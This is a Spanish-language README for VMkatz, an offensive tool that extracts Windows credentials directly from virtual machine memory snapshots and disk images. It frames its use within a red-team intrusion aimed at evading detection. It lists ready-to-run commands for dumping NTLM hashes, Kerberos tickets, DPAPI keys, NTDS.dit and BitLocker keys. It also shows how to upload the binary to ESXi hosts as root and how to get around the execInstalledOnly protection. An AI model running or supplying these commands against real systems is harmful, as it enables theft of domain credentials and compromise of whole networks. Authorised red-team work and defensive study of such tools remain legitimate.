
Extraer credenciales de Windows directamente desde instantáneas de memoria de máquinas virtuales y discos virtuales.
Llevas tres semanas en un compromiso de equipo rojo. Tu tráfico se arrastra a través de una VPN, luego salta a través de cuatro proxies SOCKS encadenados a través de cajas de salto comprometidas antes de tocar la red objetivo. Cada paquete toma la ruta escénica.
Después de días de movimiento lateral, aterrizas en un NAS conectado al clúster de virtualización y el listado de directorios golpea diferente: filas tras filas de .vmdk, .vmsn, .sav. Cientos de gigabytes de máquinas virtuales — controladores de dominio, estaciones de trabajo de administración, las joyas de la corona — justo allí.
Pero tu enlace jadea a 200 KB/s. Descargar una sola imagen de disco de 100 GB llevaría seis días, y cada hora de exfiltración sostenida es otra oportunidad para que el SOC detecte la anomalía, queme tu túnel, y toda la cadena colapse.
VMkatz existe porque no deberías tener que exfiltrar lo que puedes leer en el lugar. Extrae secretos de Windows — hashes NTLM, claves maestras DPAPI, tickets Kerberos, credenciales de dominio en caché, secretos LSA, NTDS.dit, claves BitLocker — directamente de instantáneas de memoria de VM y discos virtuales, en el NAS, el hipervisor, dondequiera que estén los archivos de la VM.
Un único binario estático, ~3 MB. Suéltalo en el host ESXi, el nodo Proxmox o el NAS. Apúntalo a un .vmsn, .vmdk o a toda una carpeta de VM. Vete con credenciales, no con imágenes de disco.
Los 9 proveedores de credenciales SSP que implementa mimikatz:
Además: extracción de BitLocker FVEK de la memoria (escaneo de etiqueta de grupo para FVEc/Cngb).
$DPAPImk$ — modos 15300/15310/15900/15910)SO objetivo: Windows Server 2003 hasta Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64).
# Extract LSASS credentials from a VMware snapshot
./vmkatz snapshot.vmsn
# With pagefile resolution for paged-out creds
./vmkatz --disk disk.vmdk snapshot.vmsn
# Extract SAM/LSA/DCC2 from a virtual disk
./vmkatz disk.vmdk
# Extract AD hashes from a domain controller disk
./vmkatz --ntds dc-disk.qcow2
# Point at a VM folder and let it find everything
./vmkatz /path/to/vm-directory/
# Extract from raw registry hives
./vmkatz SAM SYSTEM SECURITY
# Output as hashcat-ready hashes
./vmkatz --format hashcat snapshot.vmsn
# Export Kerberos tickets
./vmkatz --kirbi snapshot.vmsn # .kirbi files
./vmkatz --ccache snapshot.vmsn # .ccache file
# Export BitLocker FVEK for dislocker
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# Recursively scan all VMs under a path
./vmkatz -r /vmfs/volumes/datastore1/
# Parse LSASS minidump
./vmkatz lsass.dmp
# Cross-compile for ESXi (musl static)
cargo build --release --target x86_64-unknown-linux-musl
# Upload and run
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
Cuando la protección VIB (execInstalledOnly) está habilitada, usa el cargador Python — no es necesario deshabilitar la configuración:
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
Consulta docs/esxi.md para detalles sobre bypass de VIB, acceso a dispositivos raw VMFS y autodescubrimiento.
VMkatz es modular. Las características se pueden habilitar/deshabilitar en tiempo de compilación:
cargo build --release # Full build
cargo build --release --no-default-features --features vmware # VMware only
cargo build --release --no-default-features --features "sam ntds.dit" # Disk only
| Proveedor | Datos | Notas |
|---|
| MSV1_0 | Hashes NT/LM, SHA1 | Fallback de escaneo físico para entradas paginadas |
| WDigest | Contraseñas en texto claro | Recorrido de lista enlazada + fallback .data |
| Kerberos | Claves AES/RC4/DES, tickets (.kirbi/.ccache) | Recorrido de árbol AVL + tallado de tickets para sesiones liberadas |
| TsPkg | Contraseñas en texto claro | Solo sesiones RDP |
| DPAPI | Caché de clave maestra (GUID + clave descifrada) | Clave maestra SHA1 para descifrado DPAPI sin conexión |
| SSP | Credenciales en texto claro | SspCredentialList en msv1_0.dll |
| LiveSSP | Credenciales en texto claro | Requiere livessp.dll (raro después de Win8) |
| Credman | Credenciales almacenadas | Enumeración de tabla hash + lista única |
| CloudAP | Tokens de Azure AD | Generalmente vacío para inicio de sesión solo local |
| Formato | Extensiones | Fuente | Estado |
|---|
| Instantáneas VMware | .vmsn + .vmem | Workstation, ESXi | Probado |
| Instantáneas VMware incrustadas | .vmsn (sin .vmem) | Suspensión de ESXi | Probado |
| Estados guardados VirtualBox | .sav | VirtualBox | Probado |
| Estados savevm QEMU/KVM | detectado automáticamente | Proxmox, QEMU | Probado |
| Volcados de núcleo ELF QEMU/KVM | .elf | virsh dump | Probado |
| Estados guardados Hyper-V | .vmrs | Hyper-V 2016+ | Sin probar |
| Discos virtuales VMware | .vmdk (disperso + plano) | Workstation, ESXi | Probado |
| Discos virtuales VirtualBox | .vdi | VirtualBox | Probado |
| Discos virtuales QEMU/KVM | .qcow2 | QEMU, Proxmox | Probado |
| Discos virtuales Hyper-V | .vhdx, .vhd | Hyper-V | Probado |
| Dispositivos SCSI raw VMFS-5/6 | /dev/disks/... | ESXi (evita bloqueos de archivos) | Probado |
| Dispositivos de bloque LVM | /dev/... | LVM-thin de Proxmox | Probado |
| Colmenas de registro sin procesar | SAM, SYSTEM, SECURITY | reg save | Probado |
| NTDS.dit sin procesar | ntds.dit + SYSTEM | Controlador de dominio | Probado |
| Minidump LSASS | .dmp | procdump, Administrador de tareas | Probado |
| Directorios de VM | cualquier carpeta | Descubre automáticamente todos los archivos | Probado |
| Formato | Indicador | Descripción |
|---|
text | --format text (predeterminado) | Volcado completo de credenciales con metadatos de sesión |
brief | --format brief | Resumen compacto de una línea por credencial |
ntlm | --format ntlm | Formato pwdump DOMINIO\usuario:::hash::: |
hashcat | --format hashcat | Hashes sin procesar: modo 1000 (NTLM), 2100 (DCC2), 15300/15900 (DPAPI) |
csv | --format csv | Legible por máquina, todos los campos |
| Característica | Descripción | Predeterminado |
|---|
vmware | Soporte de instantáneas VMware .vmsn/.vmem | Sí |
vbox | Soporte de estados guardados VirtualBox .sav | Sí |
qemu | Volcados de núcleo ELF QEMU/KVM + savevm de Proxmox | Sí |
hyperv | Soporte de volcados Hyper-V .vmrs/.bin/.raw | Sí |
sam | Extracción de disco (SAM/LSA/DCC2) + manejadores de formato de disco | Sí |
ntds.dit | Extracción AD de NTDS.dit. Requiere sam | Sí |
carve | Extracción degradada de memoria parcial/truncada | Sí |
dump | Volcado de memoria de proceso como minidump | Sí |
vmfs | Analizador raw VMFS-5/6 para dispositivos SCSI ESXi. Requiere sam | Sí |